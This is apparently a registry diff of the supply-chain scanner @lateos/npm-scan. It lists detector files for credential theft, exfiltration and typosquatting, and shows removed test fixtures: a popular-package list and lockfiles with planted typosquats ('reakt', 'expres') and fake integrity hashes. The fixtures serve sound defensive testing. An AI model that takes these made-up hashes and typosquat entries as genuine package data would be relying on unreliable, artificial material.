@lateos/npm-scan 0.18.3 → 1.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (149) hide show
  1. package/CHANGELOG.md +32 -0
  2. package/README.md +864 -826
  3. package/VALIDATION.md +92 -0
  4. package/backend/cra.js +113 -21
  5. package/backend/db/pg-schema.sql +155 -0
  6. package/backend/db.js +18 -10
  7. package/backend/detectors/atk-001-lifecycle.js +5 -5
  8. package/backend/detectors/atk-002-obfusc.js +126 -47
  9. package/backend/detectors/atk-003-creds.js +8 -4
  10. package/backend/detectors/atk-004-persist.js +3 -3
  11. package/backend/detectors/atk-005-exfil.js +8 -4
  12. package/backend/detectors/atk-006-depconf.js +3 -3
  13. package/backend/detectors/atk-007-typosquat.js +64 -10
  14. package/backend/detectors/atk-008-tarball-tamper.js +6 -6
  15. package/backend/detectors/atk-009-dormant-trigger.js +9 -5
  16. package/backend/detectors/atk-010-sandbox-evasion.js +25 -10
  17. package/backend/detectors/atk-011-transitive-prop.js +14 -13
  18. package/backend/detectors/axios-poisoning/d1-version-fingerprint.js +4 -4
  19. package/backend/detectors/axios-poisoning/d2-decoy-dep.js +5 -1
  20. package/backend/detectors/axios-poisoning/d3-postinstall-rat.js +64 -19
  21. package/backend/detectors/axios-poisoning/index.js +77 -60
  22. package/backend/detectors/config/thresholds.js +111 -0
  23. package/backend/detectors/config/whitelist.json +74 -0
  24. package/backend/detectors/cve-2026-48710-badhost/codePattern.js +26 -9
  25. package/backend/detectors/cve-2026-48710-badhost/findings.js +8 -4
  26. package/backend/detectors/cve-2026-48710-badhost/index.js +1 -1
  27. package/backend/detectors/cve-2026-48710-badhost/manifest.js +127 -39
  28. package/backend/detectors/cve-2026-48710-badhost/transitive.js +87 -28
  29. package/backend/detectors/hf-impersonation/index.js +94 -31
  30. package/backend/detectors/hf-impersonation/jaro-winkler.js +33 -12
  31. package/backend/detectors/hf-impersonation/known-orgs.js +15 -3
  32. package/backend/detectors/hf-impersonation/simhash.js +2 -2
  33. package/backend/detectors/index.js +184 -31
  34. package/backend/detectors/lib/ast-patterns.js +24 -0
  35. package/backend/detectors/lib/entropy-analyzer.js +32 -0
  36. package/backend/detectors/megalodon/d1-workflow-scan.js +40 -16
  37. package/backend/detectors/megalodon/d2-credential-harvest.js +12 -5
  38. package/backend/detectors/megalodon/d3-publish-velocity.js +17 -11
  39. package/backend/detectors/megalodon/d4-publisher-drift.js +48 -16
  40. package/backend/detectors/megalodon/d5-bot-commit-identity.js +1 -1
  41. package/backend/detectors/megalodon/d6-date-anachronism.js +1 -1
  42. package/backend/detectors/megalodon/index.js +35 -25
  43. package/backend/detectors/mini-shai-hulud/d1-burst-publish.js +3 -1
  44. package/backend/detectors/mini-shai-hulud/d2-sibling-compromise.js +22 -10
  45. package/backend/detectors/mini-shai-hulud/d3-slsa-mismatch.js +30 -10
  46. package/backend/detectors/mini-shai-hulud/d4-maintainer-anomaly.js +17 -13
  47. package/backend/detectors/mini-shai-hulud/d5-ioc-check.js +12 -4
  48. package/backend/detectors/mini-shai-hulud/d6-token-exfil.js +6 -2
  49. package/backend/detectors/mini-shai-hulud/index.js +63 -26
  50. package/backend/detectors/msh-supplement/d2-persistence.js +30 -12
  51. package/backend/detectors/msh-supplement/d3-geo-killswitch.js +20 -8
  52. package/backend/detectors/msh-supplement/d4-c2-deaddrop.js +19 -5
  53. package/backend/detectors/msh-supplement/index.js +78 -63
  54. package/backend/detectors/node-ipc-compromise/d1-version-blocklist.js +4 -2
  55. package/backend/detectors/node-ipc-compromise/d10-unauthorized-publisher.js +9 -5
  56. package/backend/detectors/node-ipc-compromise/d11-blast-radius.js +7 -3
  57. package/backend/detectors/node-ipc-compromise/d2-tarball-hash.js +9 -4
  58. package/backend/detectors/node-ipc-compromise/d3-cjs-payload-injection.js +7 -5
  59. package/backend/detectors/node-ipc-compromise/d4-injected-payload-hash.js +4 -2
  60. package/backend/detectors/node-ipc-compromise/d5-dns-c2-pattern.js +13 -10
  61. package/backend/detectors/node-ipc-compromise/d7-dns-txt-exfil.js +3 -1
  62. package/backend/detectors/node-ipc-compromise/d8-runtime-trigger.js +5 -2
  63. package/backend/detectors/node-ipc-compromise/index.js +21 -15
  64. package/backend/detectors/tier1-binary-embed.js +138 -41
  65. package/backend/detectors/tier1-cloud-imds.js +57 -37
  66. package/backend/detectors/tier1-encrypted-c2.js +198 -0
  67. package/backend/detectors/tier1-infostealer.js +121 -68
  68. package/backend/detectors/tier1-lifecycle-hook.js +63 -23
  69. package/backend/detectors/tier1-maintainer-compromise.js +157 -0
  70. package/backend/detectors/tier1-metadata-spoof.js +92 -42
  71. package/backend/detectors/tier1-multistage-postinstall.js +46 -19
  72. package/backend/detectors/tier1-obfuscation-heuristics.js +184 -0
  73. package/backend/detectors/tier1-self-propagation.js +115 -0
  74. package/backend/detectors/tier1-slsa-attestation.js +12 -0
  75. package/backend/detectors/tier1-transitive-deps.js +182 -0
  76. package/backend/detectors/tier1-typosquat.js +129 -50
  77. package/backend/detectors/tier1-version-anomaly.js +223 -0
  78. package/backend/detectors/tier1-version-confusion.js +79 -59
  79. package/backend/detectors/trapdoor/d1-campaign-marker.js +3 -1
  80. package/backend/detectors/trapdoor/d2-payload-fingerprint.js +1 -1
  81. package/backend/detectors/trapdoor/d3-publisher-blocklist.js +4 -3
  82. package/backend/detectors/trapdoor/d4-gists-exfil.js +4 -2
  83. package/backend/detectors/trapdoor/d5-ai-poisoning.js +5 -3
  84. package/backend/detectors/trapdoor/d6-lure-name.js +12 -7
  85. package/backend/detectors/trapdoor/d7-crypto-primitives.js +2 -2
  86. package/backend/detectors/trapdoor/d8-xor-key.js +7 -2
  87. package/backend/detectors/trapdoor/d9-cred-validation.js +4 -5
  88. package/backend/detectors/trapdoor/index.js +19 -14
  89. package/backend/detectors/typosquat-vpmdhaj/d1-maintainer.js +32 -8
  90. package/backend/detectors/typosquat-vpmdhaj/d2-preinstall-loader.js +5 -3
  91. package/backend/detectors/typosquat-vpmdhaj/d3-cred-exfil.js +34 -12
  92. package/backend/detectors/typosquat-vpmdhaj/index.js +78 -59
  93. package/backend/detectors.test.js +147 -0
  94. package/backend/fetch.js +37 -29
  95. package/backend/index.js +1 -1
  96. package/backend/license.js +20 -4
  97. package/backend/lockfile.js +60 -36
  98. package/backend/pdf.js +107 -28
  99. package/backend/policy.js +183 -56
  100. package/backend/provenance.js +28 -3
  101. package/backend/report.js +136 -70
  102. package/backend/sbom.js +33 -27
  103. package/backend/scripts/analyze-false-positives.js +152 -0
  104. package/backend/scripts/analyze-validation.js +157 -0
  105. package/backend/scripts/detect-false-positives.js +103 -0
  106. package/backend/scripts/fetch-top-packages.js +277 -0
  107. package/backend/scripts/validate-d10-d13.js +103 -0
  108. package/backend/scripts/validate-detectors.js +151 -0
  109. package/backend/siem/cef.js +23 -21
  110. package/backend/siem/ecs.js +3 -3
  111. package/backend/siem/index.js +1 -1
  112. package/backend/siem/qradar.js +3 -3
  113. package/backend/siem/sentinel.js +2 -2
  114. package/backend/tests-d5-enhanced.test.js +47 -0
  115. package/backend/tests-d6-version-anomaly.test.js +67 -0
  116. package/backend/tests-d6.test.js +126 -0
  117. package/backend/tests-d6c.test.js +119 -0
  118. package/backend/tests-d7-obfuscation.test.js +88 -0
  119. package/backend/tests.test.js +997 -0
  120. package/backend/vsix-scan/detectors/activation-event-risk.js +36 -19
  121. package/backend/vsix-scan/detectors/burst-publish.js +14 -7
  122. package/backend/vsix-scan/detectors/exfil-pattern.js +7 -3
  123. package/backend/vsix-scan/detectors/known-ioc.js +23 -8
  124. package/backend/vsix-scan/detectors/orphan-commit-fetch.js +11 -7
  125. package/backend/vsix-scan/detectors/publisher-anomaly.js +24 -10
  126. package/backend/vsix-scan/index.js +97 -41
  127. package/backend/vsix-scan/marketplace-client.js +29 -13
  128. package/cli/cli.js +154 -64
  129. package/package.json +36 -10
  130. package/.dockerignore +0 -20
  131. package/.husky/pre-commit +0 -1
  132. package/SECURITY.md +0 -73
  133. package/deploy/helm/npm-scan/Chart.yaml +0 -22
  134. package/deploy/helm/npm-scan/templates/_helpers.tpl +0 -9
  135. package/deploy/helm/npm-scan/templates/api.yaml +0 -94
  136. package/deploy/helm/npm-scan/templates/ingress.yaml +0 -28
  137. package/deploy/helm/npm-scan/templates/postgresql.yaml +0 -67
  138. package/deploy/helm/npm-scan/templates/secrets.yaml +0 -19
  139. package/deploy/helm/npm-scan/templates/worker.yaml +0 -32
  140. package/deploy/helm/npm-scan/values.byoc.yaml +0 -75
  141. package/deploy/helm/npm-scan/values.yaml +0 -103
  142. package/scripts/download-corpus.js +0 -30
  143. package/scripts/gen-mal-corpus.js +0 -35
  144. package/scripts/generate-campaign-fixtures.js +0 -170
  145. package/src/config/top-5000.json +0 -87
  146. package/test/fixtures/lockfiles/npm-lock.json +0 -69
  147. package/test/fixtures/lockfiles/pnpm-lock.yaml +0 -118
  148. package/test/fixtures/lockfiles/yarn.lock +0 -104
  149. package/test/fixtures/mock-data.js +0 -69
@@ -1,87 +0,0 @@
1
- [
2
- "lodash", "react", "express", "axios", "chalk", "vue", "typescript", "moment", "uuid", "commander",
3
- "debug", "semver", "underscore", "request", "async", "cheerio", "bluebird", "jest", "mocha", "dotenv",
4
- "glob", "minimist", "body-parser", "cors", "helmet", "jsonwebtoken", "socket.io", "redis", "mongoose", "sequelize",
5
- "pg", "passport", "nodemailer", "multer", "bcrypt", "winston", "luxon", "dayjs", "rxjs", "redux",
6
- "react-dom", "next", "nuxt", "angular", "fastify", "hono", "koa", "connect", "vite", "rollup",
7
- "esbuild", "babel-core", "ramda", "node-fetch", "got", "superagent", "prisma", "typeorm", "vitest", "ava",
8
- "prettier", "eslint", "stylelint", "ws", "rimraf", "minimatch", "fs-extra", "webpack", "parcel", "gatsby",
9
- "tslib", "core-js", "regenerator-runtime", "buffer", "class-validator", "class-transformer", "reflect-metadata", "zone.js", "graphql", "apollo-server",
10
- "express-graphql", "type-graphql", "nexus", "prisma-binding", "graphql-yoga", "apollo-client", "urql", "relay-runtime", "subscriptions-transport-ws", "graphql-subscriptions",
11
- "graphql-tools", "graphql-tag", "graphql-upload", "dataloader", "envalid", "joi", "yup", "zod", "superstruct", "io-ts",
12
- "runtypes", "ow", "ajv", "validator", "validatorjs", "validate.js", "indicative", "computed-types", "typebox", "typia",
13
- "sinon", "chai", "should", "expect", "proxyquire", "nock", "nyc", "istanbul", "c8", "tap",
14
- "ava", "uvu", "tape", "benchmark", "microbench", "node-fetch", "cross-fetch", "isomorphic-fetch", "ky", "got",
15
- "undici", "needle", "phin", "wreck", "bent", "make-fetch-happen", "http-proxy-agent", "https-proxy-agent", "socks-proxy-agent", "agent-base",
16
- "express-session", "cookie-parser", "cookie-session", "csurf", "lusca", "helmet-csp", "hpp", "rate-limiter-flexible", "express-rate-limit", "express-brute",
17
- "passport-local", "passport-jwt", "passport-oauth2", "passport-http", "passport-google-oauth", "passport-facebook", "passport-github", "passport-twitter", "passport-linkedin", "passport-apple",
18
- "bcryptjs", "argon2", "scrypt", "password-hash", "hasha", "pbkdf2", "node-forge", "crypto-js", "crypto-random-string", "nanoid",
19
- "jsonwebtoken", "json5", "fast-json-stable-stringify", "flatted", "serialize-javascript", "javascript-natural-sort", "json-stringify-safe", "json-stable-stringify", "json3", "json-parse-even-better-errors",
20
- "morgan", "pino", "winston-cloudwatch", "log4js", "bunyan", "signale", "consola", "loglevel", "loglevelnext", "roarr",
21
- "ora", "listr", "progress", "cli-progress", "cli-spinners", "log-symbols", "log-update", "figures", "ansi-styles", "supports-color",
22
- "nodemon", "concurrently", "npm-run-all", "parallelshell", "shelljs", "execa", "cross-env", "env-cmd", "dotenv-safe", "dotenv-expand",
23
- "pm2", "forever", "supervisor", "node-dev", "tsx", "ts-node", "ts-node-dev", "ts-jest", "ts-loader", "typescript-json-schema",
24
- "eslint-config-airbnb", "eslint-config-prettier", "eslint-plugin-react", "eslint-plugin-vue", "eslint-plugin-import", "eslint-plugin-node", "eslint-plugin-promise", "eslint-plugin-standard", "eslint-plugin-jsx-a11y", "eslint-plugin-jest",
25
- "prettier-eslint", "pretty-quick", "lint-staged", "husky", "lint-staged", "commitlint", "cz-conventional-changelog", "standard-version", "semantic-release", "release-it",
26
- "webpack-cli", "webpack-dev-server", "webpack-merge", "webpack-node-externals", "css-loader", "style-loader", "sass-loader", "less-loader", "postcss-loader", "file-loader",
27
- "url-loader", "html-webpack-plugin", "mini-css-extract-plugin", "terser-webpack-plugin", "optimize-css-assets-webpack-plugin", "clean-webpack-plugin", "copy-webpack-plugin", "define-plugin", "provide-plugin", "ignore-plugin",
28
- "electron", "electron-builder", "electron-packager", "electron-forge", "nativefier", "nw", "nw-builder", "tauri", "tauri-cli", "wry",
29
- "puppeteer", "playwright", "playwright-core", "cypress", "selenium-webdriver", "webdriverio", "nightwatch", "testcafe", "protractor", "karma",
30
- "sharp", "node-canvas", "canvas", "jimp", "gm", "lwip", "pngjs", "jpeg-js", "gif-js", "qrcode",
31
- "ffmpeg-static", "fluent-ffmpeg", "ffprobe-static", "musicmetadata", "node-id3", "sox-audio", "wav", "speaker", "node-lame", "audiobuffer-to-wav",
32
- "chromium", "chrome-launcher", "chrome-aws-lambda", "puppeteer-extra", "puppeteer-extra-plugin-stealth", "playwright-extra", "puppeteer-cluster", "puppeteer-core", "playwright-firefox", "playwright-webkit",
33
- "react-scripts", "create-react-app", "react-dev-utils", "react-error-overlay", "react-refresh", "react-hot-loader", "react-fast-refresh", "react-app-polyfill", "react-app-rewired", "customize-cra",
34
- "next", "gatsby", "gatsby-cli", "gatsby-plugin-*", "gridsome", "remix", "remix-run", "blitz", "blitzjs", "redwoodjs",
35
- "@angular/cli", "@angular/core", "@angular/common", "@angular/compiler", "@angular/platform-browser", "@angular/platform-browser-dynamic", "@angular/forms", "@angular/router", "@angular/http", "@angular/animations",
36
- "@angular-devkit/core", "@angular-devkit/schematics", "@angular-devkit/build-angular", "@angular-devkit/build-optimizer", "@ngrx/store", "@ngrx/effects", "@ngrx/entity", "@ngrx/store-devtools", "@angular/material", "@angular/cdk",
37
- "vue-router", "vuex", "vuepress", "vue-cli", "vue-loader", "vue-template-compiler", "vue-server-renderer", "vite", "vitest", "pinia",
38
- "nuxt", "svelte", "sveltekit", "sapper", "solid-js", "solid-start", "preact", "inferno", "lit", "lit-html",
39
- "htm", "hono", "alpinejs", "stimulus", "turbolinks", "hotwired-turbo", "hotwired-stimulus", "unpoly", "petite-vue", "qwik",
40
- "express", "fastify", "hapi", "restify", "micro", "polka", "tinyhttp", "sails", "adonis-framework", "loopback",
41
- "feathers", "nest", "routing-controllers", "typedi", "inversify", "awilix", "awilix-express", "express-di", "injection-js", "tsyringe",
42
- "typeorm", "prisma", "drizzle-orm", "knex", "kysely", "better-sqlite3", "sql.js", "sequelize", "bookshelf", "objection",
43
- "mongoose", "mongodb", "mongodb-memory-server", "mongoose-sequence", "mongoskin", "monk", "realm", "tingodb", "lokijs", "nedb",
44
- "redis", "ioredis", "redis-commander", "connect-redis", "session-file-store", "connect-mongo", "connect-memcached", "couchbase", "memcached", "leveldown",
45
- "mysql", "mysql2", "mariasql", "pg-promise", "pg-native", "pg-pool", "sqlite3", "sql.js", "better-sqlite3", "sqlcipher",
46
- "socket.io", "ws", "uws", "faye-websocket", "sockjs", "socket.io-client", "socket.io-redis", "socket.io-emitter", "socket.io-adapter", "primus",
47
- "amqplib", "kafkajs", "node-rdkafka", "rhea", "nats", "nats-hemera", "mqtt", "mqemitter", "mosca", "aedes",
48
- "bull", "bullmq", "bee-queue", "kue", "agenda", "node-cron", "cron", "node-schedule", "later", "bree",
49
- "handlebars", "mustache", "ejs", "pug", "nunjucks", "liquidjs", "eta", "twig", "marko", "dustjs-linkedin",
50
- "jsdom", "cheerio", "htmlparser2", "node-html-parser", "parse5", "linkedom", "xmldom", "sax", "node-expat", "libxmljs",
51
- "marked", "remarkable", "showdown", "markdown-it", "commonmark", "remark", "remark-parse", "remark-stringify", "unified", "rehype",
52
- "dayjs", "date-fns", "luxon", "moment-timezone", "timeago.js", "ms", "pretty-ms", "pretty-hrtime", "strftime", "dateformat",
53
- "dotenv", "config", "nconf", "convict", "env-var", "envschema", "envalid", "properties-reader", "ini", "toml",
54
- "colors", "chalk", "kleur", "colorette", "picocolors", "nanocolors", "ansi-colors", "color-string", "color-convert", "color-name",
55
- "fs-extra", "graceful-fs", "make-dir", "klaw", "klaw-sync", "readdirp", "watchpack", "chokidar", "fsevents", "micromatch",
56
- "globby", "fast-glob", "picomatch", "minimatch", "brace-expansion", "ignore", "anymatch", "is-glob", "is-extglob", "normalize-path",
57
- "archiver", "unzipper", "decompress", "tar", "tar-fs", "tar-stream", "yauzl", "yazl", "adm-zip", "extract-zip",
58
- "cross-spawn", "spawn-command", "tree-kill", "signal-exit", "ps-tree", "pidtree", "pidusage", "process-exists", "find-process", "fkill",
59
- "which", "find-up", "locate-path", "pkg-dir", "resolve-from", "import-fresh", "resolve", "resolve-cwd", "pkg-up", "global-prefix",
60
- "cosmiconfig", "lilconfig", "load-json-file", "parse-json", "json-parse-even-better-errors", "json5", "strip-json-comments", "comment-json", "jsonc-parser", "hjson",
61
- "zod", "joi", "yup", "superstruct", "io-ts", "runtypes", "ow", "typebox", "typia", "valibot",
62
- "inquirer", "enquirer", "prompts", "readline-sync", "read", "co-prompt", "cli-interact", "listr2", "node-prompt", "password-prompt",
63
- "yargs", "yargs-parser", "meow", "arg", "getopts", "mri", "sade", "cac", "clipanion", "command-line-args",
64
- "ora", "nanospinner", "cli-spinners", "listr", "progress", "cli-progress", "log-update", "log-symbols", "spinnies", "elegant-spinner",
65
- "boxen", "window-size", "cli-table", "cli-table3", "easy-table", "columnify", "wordwrap", "wrap-ansi", "string-width", "strip-ansi",
66
- "http-errors", "http-status-codes", "statuses", "boom", "http-assert", "http-response-object", "http-errors", "http-status", "status-code", "http-code",
67
- "express", "koa", "koa-router", "koa-body", "koa-static", "koa-send", "koa-compress", "koa-logger", "koa-cors", "koa-session",
68
- "axios", "superagent", "got", "node-fetch", "cross-fetch", "isomorphic-fetch", "ky", "ky-universal", "make-fetch-happen", "undici",
69
- "lodash", "ramda", "lodash-es", "lodash.merge", "lodash.get", "lodash.set", "lodash.clonedeep", "lodash.isequal", "lodash.pick", "lodash.omit",
70
- "defu", "merge-options", "deepmerge", "assign-deep", "deep-assign", "defaults-deep", "clone-deep", "merge-deep2", "merge-descriptors", "utils-merge",
71
- "uuid", "nanoid", "cuid", "ulid", "bson", "objectid", "shortid", "hyperid", "flake-idgen", "snowflake-id",
72
- "express", "passport", "bcrypt", "jsonwebtoken", "helmet", "cors", "express-rate-limit", "express-session", "cookie-parser", "csurf",
73
- "next-auth", "passport", "passport-jwt", "passport-local", "keycloak-connect", "oauth2orize", "grant", "openid-client", "node-oidc-provider", "iron-session",
74
- "lodash", "rxjs", "immer", "immutable", "seamless-immutable", "dot-prop", "object-path", "selectn", "rfdc", "clone",
75
- "react-router", "react-router-dom", "reach-router", "wouter", "raviger", "navigation-react", "router5", "universal-router", "redux-router", "connected-react-router",
76
- "redux", "redux-toolkit", "mobx", "mobx-react-lite", "recoil", "jotai", "zustand", "valtio", "xstate", "effector",
77
- "react-query", "tanstack-query", "swr", "apollo-client", "urql", "relay-runtime", "react-apollo", "graphql-request", "rtk-query", "redux-observable",
78
- "react-hook-form", "formik", "react-final-form", "redux-form", "uniforms", "react-jsonschema-form", "informed", "react-form", "formily", "vest",
79
- "d3", "chart.js", "echarts", "highcharts", "plotly.js", "recharts", "victory", "nivo", "visx", "billboard.js",
80
- "three", "babylonjs", "phaser", "pixi.js", "playcanvas", "aframe", "cannon-es", "ammo.js", "oimo", "matter-js",
81
- "leaflet", "openlayers", "mapbox-gl", "cesium", "deck.gl", "luma.gl", "turf", "geolib", "geojson", "proj4",
82
- "i18next", "react-i18next", "polyglot", "i18n", "i18n-js", "formatjs", "lingui", "react-intl", "react-intl-universal", "fbt",
83
- "pdfkit", "pdf-lib", "pdfmake", "pdfjs", "jspdf", "pdf2json", "pdf-parse", "pdf2pic", "html-pdf", "puppeteer",
84
- "exceljs", "xlsx", "csv-parse", "csv-stringify", "csvtojson", "csv-parser", "papaparse", "json2csv", "csv2json", "csv-writer",
85
- "mongoist", "mongojs", "mongodb-memory-server", "mongodb-memory-server-core", "mongotop", "mongostat", "mongorestore", "mongodump", "mongo-hacker", "mongoplayground",
86
- "json2typescript", "ts-json-serializer", "class-transformer", "autobind-decorator", "reflect-metadata", "typed-mock", "ts-mockito", "jest-mock-extended", "type-mock", "typemoq"
87
- ]
@@ -1,69 +0,0 @@
1
- {
2
- "name": "test-project",
3
- "version": "1.0.0",
4
- "lockfileVersion": 3,
5
- "packages": {
6
- "": {
7
- "name": "test-project",
8
- "version": "1.0.0",
9
- "dependencies": {
10
- "lodash": "^4.17.21",
11
- "axios": "^1.6.0"
12
- },
13
- "devDependencies": {
14
- "@babel/core": "^7.23.0"
15
- }
16
- },
17
- "node_modules/lodash": {
18
- "name": "lodash",
19
- "version": "4.17.21",
20
- "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
21
- "integrity": "sha512-v2kDEeDAnj4p1hhL6Ogrgu4BSWwg8cD2fRIouDAiqwu+iNl1IvyMex9jG9j8OpNp1zntnv/headququbit",
22
- "dependencies": {}
23
- },
24
- "node_modules/axios": {
25
- "name": "axios",
26
- "version": "1.6.8",
27
- "resolved": "https://registry.npmjs.org/axios/-/axios-1.6.8.tgz",
28
- "integrity": "sha512-j2xvyqwsdd456789abcdef",
29
- "dependencies": {
30
- "form-data": "4.0.0",
31
- "proxy-from-env": "1.1.0"
32
- }
33
- },
34
- "node_modules/axios/node_modules/form-data": {
35
- "version": "4.0.0",
36
- "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz",
37
- "integrity": "sha512-444567890123456"
38
- },
39
- "node_modules/@babel/core": {
40
- "name": "@babel/core",
41
- "version": "7.23.9",
42
- "resolved": "https://registry.yarnpkg.com/@babel/core/-/core-7.23.9.tgz",
43
- "integrity": "sha512-5q+M1iEJCOrGJs9NxzG3p3z7w2cJK/QuoRoI2pOJhtcNQjl9y7w6w4At5ZQHZdwqd+5N5G1lULu7I6pXVBw==",
44
- "dev": true,
45
- "dependencies": {
46
- "@babel/generator": "^7.23.6",
47
- "@babel/parser": "^7.23.9"
48
- }
49
- },
50
- "node_modules/reakt": {
51
- "name": "reakt",
52
- "version": "18.2.0",
53
- "resolved": "https://registry.yarnpkg.com/reakt/-/reakt-18.2.0.tgz",
54
- "integrity": "sha-abcdabcd1234defghi",
55
- "optional": true,
56
- "dependencies": {}
57
- },
58
- "node_modules/express": {
59
- "name": "express",
60
- "version": "4.18.2",
61
- "resolved": "https://registry.npmjs.org/express/-/express-4.18.2.tgz",
62
- "integrity": "sha512-abcdabcd1234abcdefghi",
63
- "dependencies": {
64
- "accepts": "~1.3.8",
65
- "body-parser": "1.20.2"
66
- }
67
- }
68
- }
69
- }
@@ -1,118 +0,0 @@
1
- lockfileVersion: "6.0"
2
-
3
- importers:
4
- .:
5
- dependencies:
6
- lodash: "^4.17.21"
7
- axios: "^1.6.0"
8
- devDependencies:
9
- "@babel/core": "^7.23.0"
10
- optionalDependencies:
11
- chalk: "^5.3.0"
12
- peerDependencies:
13
- react: ">=16"
14
-
15
- packages:
16
- "/lodash@4.17.21":
17
- resolution:
18
- url: "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz"
19
- sha512: X2xvyqwsdd456789abcdefghijk
20
- dev: false
21
- optional: false
22
- dependencies: {}
23
-
24
- "/axios@1.6.8":
25
- resolution:
26
- url: "https://registry.npmjs.org/axios/-/axios-1.6.8.tgz"
27
- sha512: j2xvyqwsdd456789abcdef
28
- dev: false
29
- optional: false
30
- dependencies:
31
- form-data: "4.0.0"
32
- proxy-from-env: "1.1.0"
33
-
34
- "/reakt@18.2.0":
35
- resolution:
36
- url: "https://registry.yarnpkg.com/reakt/-/reakt-18.2.0.tgz"
37
- sha512: abcdefghijk123456789
38
- dev: false
39
- optional: true
40
- dependencies: []
41
-
42
- "/@babel/core@7.23.9":
43
- resolution:
44
- url: "https://registry.yarnpkg.com/@babel/core/-/core-7.23.9.tgz"
45
- sha512: k2yVyqwsdd456789abcdefghij
46
- dev: true
47
- optional: false
48
- dependencies:
49
- "@babel/generator": "7.23.6"
50
- "@babel/parser": "7.23.9"
51
- "@babel/traverse": "7.23.9"
52
- "@babel/types": "7.23.9"
53
- convert-source-map: "2.0.0"
54
- debug: "4.1.0"
55
- gensync: "1.0.0-beta.2"
56
- json5: "2.2.3"
57
- semver: "6.3.1"
58
-
59
- "/@babel/generator@7.23.6":
60
- resolution:
61
- url: "https://registry.yarnpkg.com/@babel/generator/-/generator-7.23.6.tgz"
62
- sha512: abcdefghijk12345678abcdef
63
- dev: false
64
- optional: false
65
- dependencies:
66
- "@babel/types": "7.23.6"
67
- "@jridgewell/gen-mapping": "0.3.2"
68
- "@jridgewell/trace-mapping": "0.3.17"
69
- jsesc: "2.5.1"
70
-
71
- "/expres@4.18.2":
72
- resolution:
73
- url: "https://registry.npmjs.org/expres-4.18.2.tgz"
74
- sha512: abcdefghijk12345678
75
- dev: false
76
- optional: false
77
- dependencies:
78
- accepts: "1.3.8"
79
- array-flatten: "1.1.1"
80
- body-parser: "1.20.2"
81
- content-disposition: "0.5.4"
82
- content-type: "1.0.5"
83
- cookie: "0.5.0"
84
- cookie-signature: "1.0.6"
85
- debug: "2.6.9"
86
- depd: "2.0.0"
87
- encodeurl: "1.0.2"
88
- escape-html: "1.0.3"
89
- etag: "1.8.1"
90
- finalhandler: "1.2.0"
91
- fresh: "0.5.2"
92
- http-errors: "2.0.0"
93
- merge-descriptors: "1.0.1"
94
- methods: "1.1.2"
95
- on-finished: "2.4.1"
96
- parseurl: "1.3.3"
97
- path-to-regexp: "0.1.7"
98
- proxy-addr: "2.0.7"
99
- qs: "6.11.0"
100
- range-parser: "1.2.1"
101
- safe-buffer: "5.2.1"
102
- send: "0.18.0"
103
- serve-static: "1.15.0"
104
- setprototypeof: "1.2.0"
105
- statuses: "2.0.1"
106
- type-is: "1.6.18"
107
- utils-merge: "1.0.1"
108
- vary: "1.1.2"
109
-
110
- "/my-scope-plugin@1.0.0":
111
- resolution:
112
- url: "https://registry.npmjs.org/my-scope-plugin/-/my-scope-plugin-1.0.0.tgz"
113
- sha512: defghijk123456789abcdef
114
- dev: false
115
- optional: false
116
- dependencies:
117
- lodash: "4.17.21"
118
- axios: "1.6.8"
@@ -1,104 +0,0 @@
1
- lodash@^4.17.21:
2
- version "4.17.21"
3
- resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz"
4
- integrity sha512-Vythumb
5
- dependencies: {}
6
- dev false
7
- optional true
8
-
9
- axios@^1.6.0:
10
- version "1.6.8"
11
- resolved "https://registry.yarnpkg.com/axios/-/axios-1.6.8.tgz"
12
- integrity sha-j2xvyqwsdd456789abcdef
13
- dependencies:
14
- form-data "4.0.0"
15
- proxy-from-env "1.1.0"
16
- dev false
17
- optional false
18
-
19
- "@babel/core@^7.23.0", "@babel/core@^7.23.9":
20
- version "7.23.9"
21
- resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.23.9.tgz"
22
- integrity sha512-5q+M1iEJCOrGJs9NxzG3p3z7w2cJK/QuoRoI2pOJhtcNQjl9y7w6w4At5ZQHZdwqd+5N5G1lULu7I6pXVBw==
23
- dependencies:
24
- "@babel/generator" "^7.23.6"
25
- "@babel/parser" "^7.23.9"
26
- "@babel/traverse" "^7.23.9"
27
- "@babel/types" "^7.23.9"
28
- convert-source-map "^2.0.0"
29
- debug "^4.1.0"
30
- gensync "^1.0.0-beta.2"
31
- json5 "^2.2.3"
32
- semver "^6.3.1"
33
- rimraf "^3.0.2"
34
- dev true
35
- optional false
36
-
37
- "@babel/generator@^7.23.6", "@babel/generator@^7.23.9":
38
- version "7.23.6"
39
- resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.23.6.tgz"
40
- integrity sha512-56bfx9G1AJAFDl5QuK6t7MTCW3CBi7J8j+GxJJPvZ7L1f4P2FG8f9dBiH8Hg4U5Gcb6Bi4Y8DQ8x0j8b1QE8w==
41
- dependencies:
42
- "@babel/types" "^7.23.6"
43
- "@jridgewell/gen-mapping" "^0.3.2"
44
- "@jridgewell/trace-mapping" "^0.3.17"
45
- jsesc "^2.5.1"
46
- dev false
47
- optional false
48
-
49
- reakt@^18.2.0:
50
- version "18.2.0"
51
- resolved "https://registry.yarnpkg.com/reakt/-/reakt-18.2.0.tgz"
52
- integrity sha512-abcdabcd1234defghi
53
- dependencies: []
54
- dev false
55
- optional true
56
-
57
- express@npm:expres@^4.18.2:
58
- version "4.18.2"
59
- resolved "https://registry.npmjs.org/expres-4.18.2.tgz"
60
- integrity sha512-abcdabcd1234abcdefghi
61
- dependencies:
62
- accepts "~1.3.8"
63
- array-flatten "1.1.1"
64
- body-parser "1.20.2"
65
- content-disposition "0.5.4"
66
- content-type "~1.0.5"
67
- cookie "0.5.0"
68
- cookie-signature "1.0.6"
69
- debug "2.6.9"
70
- depd "2.0.0"
71
- encodeurl "~1.0.2"
72
- escape-html "~1.0.3"
73
- etag "~1.8.1"
74
- finalhandler "1.2.0"
75
- fresh "0.5.2"
76
- http-errors "2.0.0"
77
- merge-descriptors "1.0.1"
78
- methods "~1.1.2"
79
- on-finished "2.4.1"
80
- parseurl "~1.3.3"
81
- path-to-regexp "0.1.7"
82
- proxy-addr "~2.0.7"
83
- qs "6.11.0"
84
- range-parser "~1.2.1"
85
